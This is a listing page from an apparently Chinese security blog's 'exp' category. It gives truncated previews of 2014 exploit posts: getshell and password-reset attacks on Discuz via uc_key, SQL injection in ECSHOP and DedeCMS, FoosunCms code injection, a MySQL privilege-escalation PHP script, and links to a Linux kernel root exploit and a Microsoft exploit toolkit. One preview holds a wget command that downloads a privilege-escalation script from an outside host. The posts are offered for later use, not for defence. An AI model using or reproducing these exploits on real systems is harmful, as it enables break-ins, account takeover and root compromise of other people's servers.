KBK影院的博客_exp

FoosunCms getshell

在文件\User\award\awardAction.asp中：code 区域Integral=NoSqlHack(request.QueryString("Integral"))if action="join" then User_Conn.execute("Insert into FS_ME_User_Prize (prizeid,usernumber,awardID) values("&a

风讯

foosun

转载精选 2014-12-02 10:49:56 896 阅读

使用UC_KEY可重置论坛（除uid为1的）任意用户的密码

通过获取到的UC_KEY，即可重置论坛任意用户的密码，并清除安全提问。注意本重置任意用户密码的方法并不适用于uid为1的用户（即管理员），因为上会将本地的管理员用户覆盖，从而登陆不进去本地搭建的dz后台(重置管理员uid为1的方法后面讲)测试环境：目标站点：http://192.168.32.101/dz/。管理员jinglingshu，建了两个用户test1和test2。uc_key为B4s07

重置密码

uc_key

转载精选 2014-11-22 18:47:33 1481 阅读

Discuz X1.5 X2.5 X3 uc_key getshell

一、Discuz X1.5 X2.5 X3用uc_key来get webshelluc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetshell只能获取UCenter Client的webshell，即Discuiz！论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的（不过可以通过uc_key来

getshell

uc_key

转载精选 2014-11-22 18:35:07 7054 阅读

ECSHOP全版本注入漏洞（二次注入）

把任意商品加入购物车在填写配送地址那一页，有地区选择flow.php?step=consignee&direct_shopping=1比如省选择安徽其中POST数据如下country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&addres

ecshop

转载精选 2014-11-10 13:55:12 1742 阅读

MySQL远程提权php版

<?php $mysql_server_name='localhost'; $mysql_username='root'; $mysql_password=''; $mysql_database='mysql'; $conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_datab

MySQL提权

转载精选 2014-11-09 16:48:39 819 阅读

exp

Windows7

原创 2014-11-04 22:46:59 4802 阅读

微软exp攻击工具大全

微软exp攻击工具大全微软exp攻击工具大全下载地址: http://pan.baidu.com/share/link?shareid=476298&uk=255213830

微软

下载地址

转载精选 2014-11-04 22:43:52 444 阅读

fckeditor漏洞汇总

fck

原创 2014-11-03 23:08:05 704 阅读

linux root exp for 2.6.37-3.x.x x86_64

国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞，成功利用该漏洞可能获得特权用户，还算新鲜，转来给大家看看。比较好用的~http://fucksheep.org/~sd/warez/semtex.clinux 2.6.37-3.x.x x86_64, ~100 LOC/* * linux 2.6.37-3.x.x x86_64,

linux

include

update

转载精选 2014-11-03 19:16:43 811 阅读

DedeCMS多个漏洞exp汇总，以备后用

爆路径：data/mysql_error_trace.inc一、dedecms plus/search.php注入漏洞修复及利用0×1:http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a报错如果为：Safe Alert: Request Error step 2 !则利用以下exp:h

dede

原创 2014-11-03 18:44:43 10000+阅读

linux 自动提权perl脚本

linux各种版本的 exp地址:http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/var.txt使用demoyaseng@UAUC:~$ wget http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/var.txt -O root.plyaseng@UAUC:

linux自动提权脚本

转载精选 2014-11-03 18:06:25 857 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

0daysec